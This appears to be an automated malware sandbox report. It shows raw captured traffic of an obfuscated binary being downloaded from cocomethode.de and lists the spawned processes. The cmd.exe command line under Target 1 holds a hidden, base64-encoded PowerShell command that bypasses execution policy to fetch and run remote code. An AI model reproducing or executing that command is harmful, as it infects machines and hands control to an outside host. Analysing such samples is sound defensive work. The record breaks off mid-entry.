2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 32 66 40 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 95 fc 17 3f 77 b2 3a fc 35 99 3f 77 b4 3f 77 b2 32 7e 40 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 b5 fc 17 3f 77 b2 3a 94 35 99 3f 77 b4 3f 77 b2 32 16 40 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 55 fc 17 3f 77 b2 3a ac 35 99 3f 77 b4 3f 77 b2 32 2e 40 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 75 fc 17 3f 77 b2 3a 44 35 99 3f 77 b4 3f 77 b2 32 c6 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 15 fc 17 3f 77 b2 3a 5c 35 99 3f 77 b4 3f 77 b2 32 de 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 35 fc 17 3f 77 b2 3a 74 35 99 3f 77 b4 3f 77 b2 32 f6 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d5 fd 17 3f 77 b2 3a 0c 35 99 3f 77 b4 3f 77 b2 32 8e 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 f5 fd 17 3f 77 b2 3a 24 35 99 3f 77 b4 3f 77 Data Ascii: 2f@g?w?J>w?w:5?w?w2~@g?w?J>w?w:5?w?w2@g?w?J>wU?w:5?w?w2.@g?w?J>wu?w:D5?w?w2Ag?w?J>w?w:\5?w?w2Ag?w?J>w5?w:t5?w?w2Ag?w?J>w?w:5?w?w2Ag?w?J>w?w:$5?w?w
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 99 3f 77 b4 3f 77 b2 32 2e 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 75 81 17 3f 77 b2 3a dc 38 99 3f 77 b4 3f 77 b2 32 36 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 15 81 17 3f 77 b2 3a e4 38 99 3f 77 b4 3f 77 b2 32 3e 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 35 81 17 3f 77 b2 3a fc 38 99 3f 77 b4 3f 77 b2 32 46 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d5 82 17 3f 77 b2 3a 94 38 99 3f 77 b4 3f 77 b2 32 4e 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 f5 82 17 3f 77 b2 3a ac 38 99 3f 77 b4 3f 77 b2 32 5e 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 95 82 17 3f 77 b2 3a b4 38 99 3f 77 b4 3f 77 b2 32 76 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 b5 82 17 3f 77 b2 3a 44 38 99 3f 77 b4 3f 77 b2 32 06 41 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 55 82 17 3f 77 b2 3a 4c Data Ascii: ?w?w2.Ag?w?J>wu?w:8?w?w26Ag?w?J>w?w:8?w?w2>Ag?w?J>w5?w:8?w?w2FAg?w?J>w?w:8?w?w2NAg?w?J>w?w:8?w?w2^Ag?w?J>w?w:8?w?w2vAg?w?J>w?w:D8?w?w2Ag?w?J>wU?w:L
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 17 3f 77 b2 3a 4c 39 99 3f 77 b4 3f 77 b2 32 b6 44 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d5 87 17 3f 77 b2 3a 64 39 99 3f 77 b4 3f 77 b2 32 4e 44 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 f5 87 17 3f 77 b2 3a 7c 39 99 3f 77 b4 3f 77 b2 32 66 44 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 95 87 17 3f 77 b2 3a 14 39 99 3f 77 b4 3f 77 b2 32 7e 44 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 b5 87 17 3f 77 b2 3a 2c 39 99 3f 77 b4 3f 77 b2 32 16 44 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 55 87 17 3f 77 b2 3a c4 3a 99 3f 77 b4 3f 77 b2 32 2e 44 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 75 87 17 3f 77 b2 3a 1c 39 99 3f 77 b4 3f 77 b2 32 c6 45 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 15 87 17 3f 77 b2 3a 7c 39 99 3f 77 b4 3f 77 b2 32 de 45 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 35 Data Ascii: ?w:L9?w?w2Dg?w?J>w?w:d9?w?w2NDg?w?J>w?w:\|9?w?w2fDg?w?J>w?w:9?w?w2~Dg?w?J>w?w:,9?w?w2Dg?w?J>wU?w::?w?w2.Dg?w?J>wu?w:9?w?w2Eg?w?J>w?w:\|9?w?w2Eg?w?J>w5
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: fc 77 b4 ef d6 95 8c 17 3f 77 b2 3a a4 3c 99 3f 77 b4 3f 77 b2 32 86 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 b5 8c 17 3f 77 b2 3a bc 3c 99 3f 77 b4 3f 77 b2 32 9e 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 55 8c 17 3f 77 b2 3a bc 3c 99 3f 77 b4 3f 77 b2 32 8e 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 75 8c 17 3f 77 b2 3a 54 3c 99 3f 77 b4 3f 77 b2 32 a6 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 15 8c 17 3f 77 b2 3a 64 3c 99 3f 77 b4 3f 77 b2 32 ae 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 35 8c 17 3f 77 b2 3a 7c 3c 99 3f 77 b4 3f 77 b2 32 46 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d5 8d 17 3f 77 b2 3a 14 3c 99 3f 77 b4 3f 77 b2 32 5e 48 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 f5 8d 17 3f 77 b2 3a 2c 3c 99 3f 77 b4 3f 77 b2 32 66 48 67 3f 77 bc 06 3f 4a Data Ascii: w?w:<?w?w2Hg?w?J>w?w:<?w?w2Hg?w?J>wU?w:<?w?w2Hg?w?J>wu?w:T<?w?w2Hg?w?J>w?w:d<?w?w2Hg?w?J>w5?w:\|<?w?w2FHg?w?J>w?w:<?w?w2^Hg?w?J>w?w:,<?w?w2fHg?w?J

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.30	49771	104.21.1.51	443

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:46:34 UTC	71	OUT	GET /StaticFile/TermServiceTryRun/43 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:46:35 UTC	1363	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:46:35 GMT Content-Type: application/octet-stream Content-Length: 2183168 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: BFF2365257251B6BA227A5E748DBD62E CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yH7jUCtCK90%2B9wM7Fn%2FyLD%2BXylfy284FuvQSfzwLrd3%2F6eJMEHQlnD%2FjlihY6eDiFydKFybg24aOtZtuY67Vlow3ABiURgciKW1wa2TQmwU1pZtKb8zETTU5emYxf4hwauhpVVdVwE9A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=32246&min_rtt=1409&rtt_var=30826&sent=26&recv=32&lost=0&retrans=0&sent_bytes=6891&recv_bytes=19985&delivery_rate=2006872&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053c275ced071f-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=41&rtt_var=27&sent=10&recv=12&lost=0&retrans=0&sent_bytes=4967&recv_bytes=1793&delivery_rate=962985294&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=114015&min_rtt=113991&rtt_var=24071&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=709&delivery_rate=33588&cwnd=252&unsent_bytes=0&cid=08f377e84e3c67e3&ts=622&x=0"
2024-12-11 11:46:35 UTC	6	IN	Data Raw: 66 71 7b 2b 29 2b Data Ascii: fq{+)+
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 2b 2b 2f 2b 24 2b d4 d4 2b 2b 93 2b 2b 2b 2b 2b 2b 2b 6b 2b 31 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2a 2b 2b 91 3b 2b 25 34 9f 22 e6 0a 93 2a 67 e6 0a bb bb 7f 43 42 58 0b 5b 59 44 4c 59 4a 46 0b 46 5e 58 5f 0b 49 4e 0b 59 5e 45 0b 5e 45 4f 4e 59 0b 7c 42 45 18 19 26 21 0f 1c 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 7b 6e 2b 2b 67 Data Ascii: ++/+$++++++++++k+1++++++++++++++++++++++++++++++++++++;+%4"gCBX[YDLYJFF^X_INY^E^EONY\|BE&!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++{n++g
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 4e 62 45 5f 2f 2b 2b 2b ab d4 d4 d4 54 29 2b 2b 2b 5f 3a 6b 2b 2a 21 65 4a 5f 42 5d 4e 7e 62 45 5f 2e 2b 2b 2b 2b d4 d4 d4 d4 29 2b 2b bb 3a 6b 2b 2f 2d 78 42 45 4c 47 4e 2b 29 2b 2b 8b 3a 6b 2b 2f 23 6e 53 5f 4e 45 4f 4e 4f 29 29 2b 2b 2b 2b 9f 3a 6b 2b 2f 2d 6f 44 5e 49 47 4e 2a 29 2b 2b ef 3a 6b 2b 2f 2f 68 44 46 5b 28 29 2b 2b 2b 2b ff 3a 6b 2b 2f 23 68 5e 59 59 4e 45 48 52 2f 29 2b 2b 2b 2b c3 3a 6b 2b 2e 20 78 43 44 59 5f 78 5f 59 42 45 4c d4 29 2b d7 3a 6b 2b 3f 22 7b 6a 45 58 42 68 43 4a 59 1b 3b 6b 2b 29 2b 2b 2b 2b 3f 39 6b 2b 3f 22 7b 7c 42 4f 4e 68 43 4a 59 67 3b 6b 2b 29 2b 2b 2b 2b 07 39 6b 2b 28 23 69 52 5f 4e 69 44 44 47 2b 2b 2b 2b ab d4 d4 d4 54 03 39 6b 2b 2e 6d 4a 47 58 4e 2f 7f 59 5e 4e 2d 78 52 58 5f 4e 46 29 2b 2b 77 39 6b 2b 28 23 Data Ascii: NbE_/+++T)+++_:k+!eJ_B]N~bE_.++++)++:k+/-xBELGN+)++:k+/#nS_NEONO))++++:k+/-oD^IGN)++:k+//hDF[()++++:k+/#h^YYNEHR/)++++:k+. xCDY_x_YBEL)+:k+?"{jEXBhCJY;k+)++++?9k+?"{\|BONhCJYg;k+)++++9k+(#iR_NiDDG++++T9k+.mJGXN/Y^N-xRX_NF)++w9k+(#
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 6b 2b 27 0d 44 5b 74 67 4e 58 58 7f 43 4a 45 2b 2b 2b 3b 6b 2b 29 39 b3 3e 6b 2b 2f 67 4e 4d 5f 29 2b 39 b3 3e 6b 2b 2e 79 42 4c 43 5f 29 2b 29 2b 20 8f a5 6b 2b 38 0d 44 5b 74 67 4e 58 58 7f 43 4a 45 64 59 6e 5a 5e 4a 47 2b 2b 2b 3b 6b 2b 29 39 b3 3e 6b 2b 2f 67 4e 4d 5f 29 2b 39 b3 3e 6b 2b 2e 79 42 4c 43 5f 29 2b 29 2b 57 3c 6b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 8b 34 6b 2b 2b 2b 2b 2b 57 3c 6b 2b 2b 2b 2b 2b b9 33 6b 2b 23 2b 2b 2b 2b 2b 2b 2b 37 bb 6b 2b 0f bb 6b 2b 27 b8 6b 2b 2f b8 6b 2b 0f b8 6b 2b 03 b8 6b 2b 07 b8 6b 2b 0b b8 6b 2b c7 a6 6b 2b 2f a5 6b 2b db a5 6b 2b 2b 2b 09 2b b1 33 6b 2b 6f 2b df d4 eb 33 6b 2b 69 2b df d4 cf 33 6b 2b 69 2b df d4 26 32 6b 2b 68 2b df d4 60 32 6b 2b 69 2b df d4 51 32 6b 2b 69 2b df d4 88 32 6b 2b 68 2b df Data Ascii: k+'D[tgNXXCJE+++;k+)9>k+/gNM_)+9>k+.yBLC_)+)+ k+8D[tgNXXCJEdYnZ^JG+++;k+)9>k+/gNM_)+9>k+.yBLC_)+)+W<k+++++++++++++4k+++++W<k+++++3k+#+++++++7k+k+'k+/k+k+k+k+k+k+/k+k++++3k+o+3k+i+3k+i+&2k+h+`2k+i+Q2k+i+2k+h+
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 58 28 2b 2b 3a 6b 2b 23 2b 29 23 b7 34 6b 2b 2b 2b 2f 78 4e 47 4d 29 2b 29 93 39 6b 2b 2a 2b 2f 65 4a 46 4e 29 2b 29 2b 6d 2b 03 bb 6b 2b 27 6c 4e 5f 62 45 5f 4e 59 4d 4a 48 4e 28 2b 2b 3b 6b 2b 23 2b 28 23 b7 34 6b 2b 2b 2b 2f 78 4e 47 4d 29 2b 39 6b 38 6b 2b 2a 2b 28 62 62 6f 29 2b 0b 2b 2b 2b 2b 29 2b 28 64 49 41 29 2b 29 2b 15 2b a7 bb 6b 2b 3a 6c 4e 5f 62 45 5f 4e 59 4d 4a 48 4e 6e 45 5f 59 52 28 2b 8b 3f 6b 2b 23 2b 29 2b 2b 2b 2b 2b 2b 2b 2f 78 4e 47 4d 29 2b 39 6b 38 6b 2b 2a 2b 28 62 62 6f 29 2b 29 2b 1a 2b 3f a4 6b 2b 3a 6c 4e 5f 62 45 5f 4e 59 4d 4a 48 4e 7f 4a 49 47 4e 28 2b 07 3e 6b 2b 23 2b 2a 2b 2b 2b 2b 2b 2b 2b 2f 78 4e 47 4d 29 2b 29 2b 18 2b fb bb 6b 2b 23 7e 45 42 5f 65 4a 46 4e 28 2b 93 39 6b 2b 23 2b 29 2b 2b 2b 2b 2b 2b 2b 2f 78 4e Data Ascii: X(++:k+#+)#4k+++/xNGM)+)9k++/eJFN)+)+m+k+'lN_bE_NYMJHN(++;k+#+(#4k+++/xNGM)+9k8k++(bbo)+++++)+(dIA)+)++k+:lN_bE_NYMJHNnE_YR(+?k+#+)+++++++/xNGM)+9k8k++(bbo)+)++?k+:lN_bE_NYMJHNJIGN(+>k+#++++++++/xNGM)+)++k+#~EB_eJFN(+9k+#+)+++++++/xN
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 6b 2b c7 a6 6b 2b 2f a5 6b 2b db a5 6b 2b 2b 2b 2b 2b 2b 2b 24 7e 45 58 4a 4d 4e 6a 5f 5f 59 42 49 5e 5f 4e 2b 2b bf 0a 6b 2b 2c 24 7e 45 58 4a 4d 4e 6a 5f 5f 59 42 49 5e 5f 4e 53 0a 6b 2b 1f 0b 6b 2b 2b 2b 2d 78 52 58 5f 4e 46 2b 2b 2b 2b 29 2b 2b 2b 2b 2b 33 09 6b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 1f 09 6b 2b 2b 2b 2b 2b 33 09 6b 2b 2b 2b 2b 2b 35 09 6b 2b 23 2b 2b 2b ef 34 6b 2b 37 bb 6b 2b 0f bb 6b 2b 27 b8 6b 2b 2f b8 6b 2b 0f b8 6b 2b 03 b8 6b 2b 07 b8 6b 2b 0b b8 6b 2b c7 a6 6b 2b 2f a5 6b 2b db a5 6b 2b 2b 2b 2b 2b 2b 2b 3a 7d 44 47 4a 5f 42 47 4e 6a 5f 5f 59 42 49 5e 5f 4e 1f 09 6b 2b 2c 3a 7d 44 47 4a 5f 42 47 4e 6a 5f 5f 59 42 49 5e 5f 4e 33 09 6b 2b 1f 0b 6b 2b 2b 2b 2d 78 52 58 5f 4e 46 2b 2b 2b 2b 29 2b 2b 2b 93 09 6b 2b 2b 2b 2b 2b 2b Data Ascii: k+k+/k+k+++++++$~EXJMNj__YBI^_N++k+,$~EXJMNj__YBI^_NSk+k+++-xRX_NF++++)+++++3k+++++++++++++k+++++3k+++++5k+#+++4k+7k+k+'k+/k+k+k+k+k+k+/k+k+++++++:}DGJ_BGNj__YBI^_Nk+,:}DGJ_BGNj__YBI^_N3k+k+++-xRX_NF++++)+++k++++++
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 03 b7 6b 2b 23 7b 5e 47 58 4e 6a 47 47 2b 2b 2b 2b 2b 2b 2a 21 b7 34 6b 2b 2c 6a 64 49 41 4e 48 5f 29 2b 29 2b c7 0d 6b 2b 24 21 62 62 45 5f 4e 59 4d 4a 48 4e 2b 2b 2b 2b 2a 2b 2b 2b 2b 2b 2b 2b 2b eb 2b 2b 2b 2b 2b 2b 6d 2d 78 52 58 5f 4e 46 28 2b d4 d4 29 2b 2b 2b 0b 0c 6b 2b 24 20 62 6e 45 5e 46 4e 59 4a 49 47 4e c3 0d 6b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2d 78 52 58 5f 4e 46 2a 2b d4 d4 29 2b 2b 7f 0c 6b 2b 24 22 62 6f 42 58 5b 4a 5f 48 43 c3 0d 6b 2b 2a 2b 2f 29 2b 2b 2b 2b 2b eb 2b 2b 2b 2b 2b 2b 6d 2d 78 52 58 5f 4e 46 2f 2b d4 d4 29 2b 2b 2b 2b e7 a8 6f 0f 2f d3 c2 46 cb 2b 2b a8 6f 0f 2f d3 c2 a0 cb 2b 2b a8 6f 0f 2f d3 c2 b6 cb 2b 2b e7 ae 0c 6b 2b a4 0c 6b 2b b2 0c 6b 2b 2a 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b eb 2b 2b 2b 2b 2b Data Ascii: k+#{^GXNjGG++++++!4k+,jdIANH_)+)+k+$!bbE_NYMJHN++++++++++++++++++m-xRX_NF(+)+++k+$ bnE^FNYJIGNk++++++++++++++++++-xRX_NF+)++k+$"boBX[J_HCk++/)+++++++++++m-xRX_NF/+)++++o/F++o/++o/++k+k+k+*++++++++++++++++
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: e7 3b 6b 2b 29 2b 2b 2b 29 2e 6d 47 4a 4c 58 29 2b b7 3b 6b 2b 2f 2b 2b 2b 29 20 6e 47 4e 46 4e 45 5f 78 42 51 4e 29 2b b7 3b 6b 2b 23 2b 2b 2b 29 22 67 44 48 40 68 44 5e 45 5f 29 2b 2b 3a 6b 2b 27 2b 2b 2b 29 2f 6f 4a 5f 4a 29 2b 83 00 6b 2b 3b 2b 2b 2b 29 2d 69 44 5e 45 4f 58 29 2b 29 2b 2b 2b 2b af 07 6b 2b 25 21 7f 7d 4a 59 79 4e 48 44 59 4f 23 2b 2b 2b 2b 2b 2b 2b 2b 29 2b 2b 2b 2b 3a 6b 2b 2b 2b 2b 2b 29 2c 7b 79 4e 48 44 59 4f 29 2b 2b 3a 6b 2b 2f 2b 2b 2b 29 2c 79 4e 48 62 45 4d 44 29 2b 29 2b 2b 2b 2b e7 07 6b 2b 25 23 7f 7d 4a 59 6f 4a 5f 4a 3b 2b 2b 2b 2b 2b 2b 2b 2b 0b 2b 2b 2b e7 3b 6b 2b 2b 2b 2b 2b 29 2e 7d 7f 52 5b 4e 29 2b e7 3b 6b 2b 29 2b 2b 2b 29 22 79 4e 58 4e 59 5d 4e 4f 1a 29 2b e7 3b 6b 2b 2f 2b 2b 2b 29 22 79 4e 58 4e 59 5d 4e 4f Data Ascii: ;k+)+++).mGJLX)+;k+/+++) nGNFNE_xBQN)+;k+#+++)"gDH@hD^E_)++:k+'+++)/oJ_J)+k+;+++)-iD^EOX)+)++++k+%!}JYyNHDYO#++++++++)++++:k+++++),{yNHDYO)++:k+/+++),yNHbEMD)+)++++k+%#}JYoJ_J;+++++++++++;k+++++).}R[N)+;k+)+++)"yNXNY]NO)+;k+/+++)"yNXNY]NO
2024-12-11 11:46:35 UTC	1072	IN	Data Raw: 29 23 7d 7d 4a 59 42 4a 45 5f 29 2b 2b 3a 6b 2b 2b 2b 2b 2b 29 21 7d 62 45 5f 4e 59 4d 4a 48 4e 29 2b 2b 3a 6b 2b 2b 2b 2b 2b 29 20 7d 7c 42 4f 4e 78 5f 59 42 45 4c 29 2b 9f 01 6b 2b 2b 2b 2b 2b 29 2d 7d 62 45 5f 1d 1f 29 2b 2b 3a 6b 2b 2b 2b 2b 2b 29 25 7d 7e 45 42 48 44 4f 4e 78 5f 59 42 45 4c 29 2b 7f 3a 6b 2b 2b 2b 2b 2b 29 21 74 79 4e 58 4e 59 5d 4e 4f 1a 29 2b 9f 3b 6b 2b 2f 2b 2b 2b 29 2e 7d 7f 52 5b 4e 29 2b 29 2b 2b 2b 2b 2b 2b 27 19 6b 2b 25 20 7f 7b 5f 59 7c 59 4a 5b 5b 4e 59 2f 2b 2b 2b 2b 2b 2b 2b 2b 2a 2b 2b 2b 8b 01 6b 2b 2b 2b 2b 2b 2b 2e 7d 4a 47 5e 4e 29 2b 29 2b 2d 2b 21 87 20 6a 2b 2d 68 59 4e 4a 5f 4e 2b 2b 2b 2b 2b 2b 2a 2b 7f 3a 6b 2b 2d 6a 7d 4a 47 5e 4e 29 2b 29 2b 21 9b 20 6a 2b 2d 68 59 4e 4a 5f 4e 2b 2b 2b 2b 2b 2b 2a 2b 2b 3a Data Ascii: )#}}JYBJE_)++:k+++++)!}bE_NYMJHN)++:k+++++) }\|BONx_YBEL)+k+++++)-}bE_)++:k+++++)%}~EBHDONx_YBEL)+:k+++++)!tyNXNY]NO)+;k+/+++).}R[N)+)++++++'k+% {_Y\|YJ[[NY/+++++++++++k++++++.}JG^N)+)+-+! j+-hYNJ_N+++++++:k+-j}JG^N)+)+! j+-hYNJ_N++++++*++:
2024-12-11 11:46:35 UTC	1369	IN	Data Raw: 4a 5f 4e 28 2b 2b 2b 2b 2b 23 2b 2a 23 fb 61 6b 2b 2b 2b 2f 78 4e 47 4d 29 2b 29 2b 0e 2b 0b 27 6a 2b 23 62 45 78 5f 59 42 45 4c 28 2b 3b 39 6b 2b 23 2b 2a 29 93 39 6b 2b 2b 2b 2a 78 29 2b 29 2b 0d 2b 07 27 6a 2b 22 64 5e 5f 78 5f 59 42 45 4c 28 2b 3b 39 6b 2b 23 2b 2a 29 93 39 6b 2b 2b 2b 2a 78 29 2b 29 2b 03 2b 13 27 6a 2b 20 62 45 64 5e 5f 78 5f 59 42 45 4c 28 2b 3b 39 6b 2b 23 2b 2a 29 93 39 6b 2b 2b 2b 2a 78 29 2b 29 2b 05 2b 6f 27 6a 2b 2d 6a 58 6a 45 58 42 28 2b f7 39 6b 2b 23 2b 29 29 93 39 6b 2b 2b 2b 2a 78 29 2b 6b f7 39 6b 2b 2a 2b 2a 2a 29 2b 29 2b 05 2b 77 27 6a 2b 2d 6a 58 6a 45 58 42 28 2b f7 39 6b 2b 23 2b 29 2b 3b 39 6b 2b 2b 2b 2a 78 29 2b 6b f7 39 6b 2b 2a 2b 2a 2a 29 2b 29 2b 1d 2b 5f 27 6a 2b 23 6a 47 47 44 48 66 4e 46 28 2b 23 19 6b Data Ascii: J_N(+++++#+#ak+++/xNGM)+)++'j+#bEx_YBEL(+;9k+#+)9k+++x)+)++'j+"d^_x_YBEL(+;9k+#+)9k+++x)+)++'j+ bEd^_x_YBEL(+;9k+#+)9k+++x)+)++o'j+-jXjEXB(+9k+#+))9k+++x)+k9k++)+)++w'j+-jXjEXB(+9k+#+)+;9k+++x)+k9k++*)+)++_'j+#jGGDHfNF(+#k

Target ID:	1
Start time:	06:43:57
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:43:57
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:43:57
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
